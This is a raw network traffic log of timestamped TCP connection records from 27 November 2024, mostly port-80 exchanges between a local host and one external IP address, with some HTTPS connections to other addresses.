Nov 27, 2024 11:14:45.352791071 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.352803946 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.352849007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.353589058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.353699923 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.353720903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.353769064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.354434013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.354547977 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.354548931 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.354733944 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.355329037 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.355398893 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.355427980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.355571032 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.356282949 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.356296062 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.356348038 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.357167959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.357276917 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.357299089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.357352972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.358009100 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.358139992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.358181953 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.358239889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.358774900 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.358829021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.358930111 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.359052896 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.359745026 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.359812021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.359879971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.359930038 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.360563993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.360642910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.360686064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.360748053 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.361376047 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.361470938 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.361540079 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.362304926 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.362394094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.362471104 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.363116026 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.363168001 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.363228083 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.363287926 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.364006996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.364100933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.364115000 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.364320040 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.364893913 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.364965916 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.364979982 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.365091085 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.365700960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.365796089 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.365807056 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.365974903 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.366651058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.366678953 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.366775036 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.366801023 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.367839098 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.367916107 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.367993116 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.368052959 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.368798018 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.368837118 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.368896008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.368896008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.399071932 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.399115086 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.399266958 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.399518013 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.399550915 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.399604082 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.399770021 CET	49892	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.399810076 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.399887085 CET	49892	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.400249004 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.400274992 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.400327921 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.400475979 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.400489092 CET	49890	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.400502920 CET	443	49890	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.400505066 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.400520086 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.400533915 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.400542974 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.400577068 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.400607109 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.400861979 CET	49891	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.400878906 CET	443	49891	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.401134968 CET	49892	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.401148081 CET	443	49892	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.401300907 CET	49893	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.401313066 CET	443	49893	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.414067030 CET	49885	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:45.423007965 CET	49886	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:45.432827950 CET	443	49880	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.432907104 CET	443	49880	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.433095932 CET	49880	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.433135986 CET	49880	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.433135986 CET	49880	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.433156967 CET	443	49880	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.433166027 CET	443	49880	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.435714006 CET	49894	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.435740948 CET	443	49894	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.435826063 CET	49894	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.435950041 CET	49894	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.435965061 CET	443	49894	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.476823092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.476958990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.477086067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.477185011 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.477196932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.477360010 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.477427959 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.478043079 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.478190899 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.478250027 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.478924036 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.479053974 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.479840040 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.479856014 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.479919910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.480657101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.480742931 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.480818033 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.481547117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.481640100 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.481668949 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.481712103 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.482378960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.482439995 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.482475996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.482625961 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.483266115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.483328104 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.483339071 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.483448029 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.484138012 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.484210014 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.484213114 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.484297037 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.484999895 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.485038042 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.485070944 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.485277891 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.485873938 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.485974073 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.486037016 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.486268997 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.486727953 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.486784935 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.486793041 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.486905098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.487662077 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.487690926 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.487742901 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.487904072 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.488471985 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.488545895 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.488595009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.488738060 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.489345074 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.489419937 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.489423037 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.489528894 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.490256071 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.490348101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.490380049 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.490398884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.491053104 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.491151094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.491216898 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.491962910 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.492005110 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.492062092 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.492100000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.492829084 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.492918968 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.492928982 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.493019104 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.493633986 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.493742943 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.493803024 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.494537115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.494641066 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.494699955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.495436907 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.495515108 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.495605946 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.495856047 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.496449947 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.496496916 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.496531963 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.496571064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.497145891 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.497199059 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.497236013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.497276068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.498039961 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.498117924 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.498123884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.498195887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.499026060 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.499100924 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.499171972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.499766111 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.499834061 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.499850035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.500010967 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.500610113 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.500653982 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.500682116 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.500808954 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.501466990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.501539946 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.501631021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.502357006 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.502532005 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.502536058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.502815008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.503278971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.506532907 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.531503916 CET	443	49884	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.531976938 CET	49884	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.531996965 CET	443	49884	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.532452106 CET	49884	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.532455921 CET	443	49884	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.550890923 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.551013947 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.551187992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.551383018 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.551426888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.551451921 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.551482916 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.552325964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.552398920 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.552403927 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.552452087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.553077936 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.553137064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.553147078 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.553231955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.553971052 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.554052114 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.554095984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.554167986 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.554821968 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.554894924 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.554986954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.555114985 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.555672884 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.555740118 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.555777073 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.555851936 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.556178093 CET	443	49882	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.556250095 CET	443	49882	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.556457996 CET	49882	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.556574106 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.556647062 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.556657076 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.556735039 CET	49882	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.556756973 CET	443	49882	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.556771994 CET	49882	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.556771994 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.556777954 CET	443	49882	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.556946039 CET	443	49883	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.557009935 CET	443	49883	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.557065964 CET	49883	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.557228088 CET	49883	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.557246923 CET	443	49883	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.557260036 CET	49883	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.557266951 CET	443	49883	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.557409048 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.557558060 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.557578087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.557605028 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.558274984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.558398008 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.558485985 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.559180975 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.559237003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.559322119 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.559395075 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.560065985 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.560139894 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.560190916 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.560233116 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.560930014 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.560976028 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.560988903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.561075926 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.561708927 CET	49895	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.561753988 CET	443	49895	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.561769009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.561829090 CET	49895	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.561832905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.561980009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.562244892 CET	49896	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.562272072 CET	443	49896	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.562365055 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.562503099 CET	49896	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.562618971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.562632084 CET	49895	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.562654018 CET	443	49895	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.562716007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.562776089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.562896967 CET	49896	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.562906981 CET	443	49896	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.562947989 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.563530922 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.563746929 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.598057985 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.598088026 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.598170042 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.598182917 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:45.598495960 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:45.601898909 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.601985931 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.602346897 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.602361917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.602396965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.602400064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.602433920 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.602448940 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.603389978 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.603446007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.603730917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.603837967 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.603880882 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.604671955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.604732990 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.604742050 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.604785919 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.605583906 CET	80	49830	185.215.113.206	192.168.2.6
